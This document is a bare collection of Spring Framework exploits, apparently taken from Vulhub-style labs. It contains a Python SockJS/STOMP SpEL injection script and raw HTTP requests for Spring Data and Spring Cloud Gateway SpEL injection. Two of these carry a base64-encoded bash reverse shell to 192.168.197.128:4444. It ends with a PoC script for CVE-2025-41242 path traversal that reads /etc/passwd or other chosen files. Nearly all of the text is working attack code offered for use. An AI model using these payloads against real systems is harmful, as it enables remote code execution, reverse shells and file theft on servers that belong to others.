Spring Framework

1
#!/usr/bin/env python3
2
import requests
3
import random
4
import string
5
import time
6
import threading
7
import logging
8
import sys
9
import json
10
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
11

12
def random_str(length):
13
    letters = string.ascii_lowercase + string.digits
14
    return ''.join(random.choice(letters) for c in range(length))
15

16
class SockJS(threading.Thread):
17
    def __init__(self, url, *args, **kwargs):
18
        super().__init__(*args, **kwargs)
19
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
20
        self.daemon = True
21
        self.session = requests.session()
22
        self.session.headers = {
23
            'Referer': url,
24
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
25
        }
26
        self.t = int(time.time()*1000)
27
    def run(self):
28
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
29
        response = self.session.get(url, stream=True)
30
        for line in response.iter_lines():
31
            time.sleep(0.5)
32
    def send(self, command, headers, body=''):
33
        data = [command.upper(), '\n']
34
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
35
        data.append('\n\n')
36
        data.append(body)
37
        data.append('\x00')
38
        data = json.dumps([''.join(data)])
39
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
40
        if response.status_code != 204:
41
            logging.info(f"send '{command}' data error.")
42
        else:
43
            logging.info(f"send '{command}' data success.")
44
    def __del__(self):
45
        self.session.close()
46

47
sockjs = SockJS('http://192.168.197.88:8080/gs-guide-websocket')
48
sockjs.start()
49
time.sleep(1)
50
sockjs.send('connect', {
51
    'accept-version': '1.1,1.0',
52
    'heart-beat': '10000,10000'
53
})
54
sockjs.send('subscribe', {
55
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
56
    'id': 'sub-0',
57
    'destination': '/topic/greetings'
58
})
59
data = json.dumps({'name': 'vulhub'})
60
sockjs.send('send', {
61
    'content-length': len(data),
62
    'destination': '/app/hello'
63
}, data)

1
#!/usr/bin/env python3
2
import requests
3
import random
4
import string
5
import time
6
import threading
7
import logging
8
import sys
9
import json
10
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
11

12
def random_str(length):
13
    letters = string.ascii_lowercase + string.digits
14
    return ''.join(random.choice(letters) for c in range(length))
15

16
class SockJS(threading.Thread):
17
    def __init__(self, url, *args, **kwargs):
18
        super().__init__(*args, **kwargs)
19
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
20
        self.daemon = True
21
        self.session = requests.session()
22
        self.session.headers = {
23
            'Referer': url,
24
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
25
        }
26
        self.t = int(time.time()*1000)
27
    def run(self):
28
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
29
        response = self.session.get(url, stream=True)
30
        for line in response.iter_lines():
31
            time.sleep(0.5)
32
    def send(self, command, headers, body=''):
33
        data = [command.upper(), '\n']
34
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
35
        data.append('\n\n')
36
        data.append(body)
37
        data.append('\x00')
38
        data = json.dumps([''.join(data)])
39
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
40
        if response.status_code != 204:
41
            logging.info(f"send '{command}' data error.")
42
        else:
43
            logging.info(f"send '{command}' data success.")
44
    def __del__(self):
45
        self.session.close()
46

47
sockjs = SockJS('http://192.168.197.88:8080/gs-guide-websocket')
48
sockjs.start()
49
time.sleep(1)
50
sockjs.send('connect', {
51
    'accept-version': '1.1,1.0',
52
    'heart-beat': '10000,10000'
53
})
54

55
# ============ 修改点：改成反弹 Shell 的 SpEL ============
56
sockjs.send('subscribe', {
57
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')",
58
    'id': 'sub-0',
59
    'destination': '/topic/greetings'
60
})
61
data = json.dumps({'name': 'vulhub'})
62
sockjs.send('send', {
63
    'content-length': len(data),
64
    'destination': '/app/hello'
65
}, data)

1
POST /users?page=&size=5 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Length: 46
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Origin: http://192.168.197.88:8080
7
Content-Type: application/x-www-form-urlencoded
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Referer: http://192.168.197.88:8080/users
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Connection: close
14

15
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

1
POST /users?page=&size=5 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Length: 265
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Origin: http://192.168.197.88:8080
7
Content-Type: application/x-www-form-urlencoded
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Referer: http://192.168.197.88:8080/users
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Connection: close
14

15
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%5D=&password=&repeatedPassword=

1
POST /actuator/gateway/routes/hacktest HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Type: application/json
4
Content-Length: 329
5

6
{
7
  "id": "hacktest",
8
  "filters": [{
9
    "name": "AddResponseHeader",
10
    "args": {
11
      "name": "Result",
12
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
13
    }
14
  }],
15
  "uri": "http://example.com"
16
}

1
#!/usr/bin/env python3
2
"""
3
PoC for CVE-2025-41242: Spring Framework path traversal via Jetty URI
4
parsing inconsistency on embedded Jetty.
5
"""
6
from __future__ import annotations
7
import argparse
8
import socket
9
import ssl
10
import sys
11
from urllib.parse import urlparse
12
GHOST_BITS_SEG = '阮严灵丰丰甲来'.encode('utf-8')
13
DEFAULT_PORTS = {'http': 80, 'https': 443}
14

15
def encode_target_path(file_path: str) -> bytes:
16
    """Strip the leading slash and percent-encode the last character.
17
    Spring's path matcher short-circuits when no character is percent-encoded,
18
    so at least one byte of the target filename must be encoded for the buggy
19
    decoder to fire (e.g. 'passwd' -> 'passw%64').
20
    """
21
    path = file_path.lstrip('/')
22
    if not path:
23
        raise ValueError('file path must not be empty')
24
    last = path[-1]
25
    if not last.isascii():
26
        raise ValueError('last character of the file path must be ASCII')
27
    return path[:-1].encode('utf-8') + ('%%%02x' % ord(last)).encode()
28

29
def parse_target(url: str) -> tuple[str, str, int]:
30
    if '://' not in url:
31
        url = 'http://' + url
32
    parsed = urlparse(url)
33
    if parsed.scheme not in DEFAULT_PORTS:
34
        raise ValueError(
35
            f'only http/https are supported (got {parsed.scheme!r})'
36
        )
37
    if not parsed.hostname:
38
        raise ValueError(f'cannot parse host from {url!r}')
39
    port = parsed.port or DEFAULT_PORTS[parsed.scheme]
40
    return parsed.scheme, parsed.hostname, port
41

42
def build_request(host: str, port: int, file_path: str) -> bytes:
43
    encoded_target = encode_target_path(file_path)
44
    path = b'/' + (GHOST_BITS_SEG + b'/') * 7 + encoded_target
45
    host_header = f'{host}:{port}'.encode()
46
    return (
47
        b'GET ' + path + b' HTTP/1.1\r\n'
48
        b'Host: ' + host_header + b'\r\n'
49
        b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' + b'\r\n'
50
        b'Connection: close\r\n\r\n'
51
    )
52

53
def send(
54
    scheme: str,
55
    host: str,
56
    port: int,
57
    request: bytes,
58
    timeout: float,
59
    insecure: bool,
60
) -> bytes:
61
    sock = socket.create_connection((host, port), timeout=timeout)
62
    if scheme == 'https':
63
        ctx = ssl.create_default_context()
64
        if insecure:
65
            ctx.check_hostname = False
66
            ctx.verify_mode = ssl.CERT_NONE
67
        sock = ctx.wrap_socket(sock, server_hostname=host)
68
    with sock:
69
        sock.sendall(request)
70
        chunks = []
71
        while True:
72
            chunk = sock.recv(4096)
73
            if not chunk:
74
                break
75
            chunks.append(chunk)
76
    return b''.join(chunks)
77

78
def main() -> int:
79
    parser = argparse.ArgumentParser(
80
        description=(
81
            'PoC for CVE-2025-41242: Spring Framework path traversal on '
82
            'embedded Jetty. Reads an arbitrary file from the target server.'
83
        ),
84
        epilog='example: python poc.py http://192.168.1.160:8080 -f /etc/passwd',
85
    )
86
    parser.add_argument(
87
        'target',
88
        help='target URL or host:port, e.g. http://192.168.1.160:8080',
89
    )
90
    parser.add_argument(
91
        '-f', '--file',
92
        default='/etc/passwd',
93
        help='absolute path of the file to read (default: /etc/passwd)',
94
    )
95
    parser.add_argument(
96
        '--timeout', type=float, default=10.0,
97
        help='socket timeout in seconds (default: 10)',
98
    )
99
    parser.add_argument(
100
        '-k', '--insecure', action='store_true',
101
        help='skip TLS certificate verification when using https',
102
    )
103
    args = parser.parse_args()
104
    try:
105
        scheme, host, port = parse_target(args.target)
106
        request = build_request(host, port, args.file)
107
    except ValueError as e:
108
        print(f'error: {e}', file=sys.stderr)
109
        return 2
110
    try:
111
        data = send(
112
            scheme, host, port, request,
113
            timeout=args.timeout, insecure=args.insecure,
114
        )
115
    except OSError as e:
116
        print(
117
            f'error: connection to {scheme}://{host}:{port} failed: {e}',
118
            file=sys.stderr,
119
        )
120
        return 1
121
    # Send response headers to stderr and the body to stdout, so the body can
122
    # be redirected cleanly: `python poc.py <target> -f /etc/passwd > out`.
123
    header, sep, body = data.partition(b'\r\n\r\n')
124
    sys.stderr.buffer.write(header + sep)
125
    sys.stderr.flush()
126
    sys.stdout.buffer.write(body)
127
    return 0
128

129
if __name__ == '__main__':
130
    raise SystemExit(main())